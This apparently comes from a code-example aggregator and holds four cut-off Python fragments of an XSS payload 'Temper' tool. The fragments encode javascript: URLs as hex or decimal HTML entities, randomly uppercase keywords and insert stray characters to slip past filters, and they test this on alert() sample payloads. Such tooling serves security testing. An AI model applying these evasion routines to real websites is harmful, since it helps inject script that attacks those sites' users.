Beispiel #1
0
            payloads.add(self.keyword_sixteenhex(payload, ))
        return payloads

    def keyword_sixteenhex(self, str):
        """
        将src, href中的标签16进制化
        两种模式
        j 变成 &#x6A
        :param str: 
        :return: 
        """
        encode_str = ""
        result_str = ""
        try:
            link_content = re.findall('(?:src|href)=(".*?")', str, re.S)[0]
            if "javascript" in link_content:
                for char in link_content.replace("\"", ""):
                    encode_str += "&#{}".format(
                        hex(ord(char)).replace("0x", "x"))
                result_str = str.replace(link_content, encode_str)
        except IndexError, e:
            traceback.print_exc(file=open(EXCEPTION_LOG_PATH, 'a'))
        return result_str


if __name__ == "__main__":
    payload = '<img src="javascript:alert(65534);">'
    payloads = set()
    payloads.add(payload)
    print Temper().temper(payload, )
Beispiel #2
0
                    payloads.add(payload)

        if model == LIGHT_MODEL:
            return payloads.pop()

        return payloads

    def add_rand_key(self, str, key):
        """
        随机位置增加随机字符
        """
        str = list(str)
        random_index = int(random.random()*len(str))
        random_index = random_index + 1 if random_index == 0 else random_index
        str.insert(random_index, key)
        return "".join(str)

    def get_keyword_count(self):
        count = 0
        for keyword in self.keywords:
            if keyword in self.payload:
                count += 1
        return count


if __name__ == "__main__":
    payload = '<script>alert(65534);</script>'
    payloads = set()
    payloads.add(payload)
    print Temper().temper(payload, number=5, )
Beispiel #3
0
            temp_payload = payload
            payloads.add(payload)
            for keyword in self.keywords:
                if keyword in payload:
                    payloads.add(
                        temp_payload.replace(keyword,
                                             self.rand_upper(keyword, number)))
                    payload = payload.replace(keyword,
                                              self.rand_upper(keyword, number))
                    payloads.add(payload)
        if model == LIGHT_MODEL:
            return payloads.pop()
        return payloads

    def rand_upper(self, str, number):
        i = 0
        str = list(str)
        while i < number and i < len(str):
            random_index = int(random.random() * len(str))
            if str[random_index].islower():
                str[random_index] = str[random_index].upper()
                i += 1
        return "".join(str)


if __name__ == "__main__":
    payloads = set()
    payload = '<script>alert(65534);</script>'
    #payloads.add(payload)
    for tenp in Temper().temper(payload, HEAVY_MODEL):
        print tenp
Beispiel #4
0
    def keyword_tenhex(self, str, model=1):
        """
        将src, href中的标签10进制化
        两种模式
        &#106;
        &#0000106
        :param str: 
        :return: 
        """
        encode_str = ""
        result_str = ""
        try:
            link_content = re.findall('(?:src|href)=(".*?")', str, re.S)[0]
            if "javascript" in link_content:
                for char in link_content.replace("\"", ""):
                    if model == 1:
                        encode_str += "&#{};".format(ord(char))
                    elif model == 2:
                        encode_str += "&#0{}".format(ord(char))
                result_str = str.replace(link_content, encode_str)
        except IndexError:
            pass
        return result_str


if __name__ == "__main__":
    payload = '<img src="javascript:alert(65534);">'
    payloads = set()
    payloads.add(payload)
    print(Temper().temper(payload, ))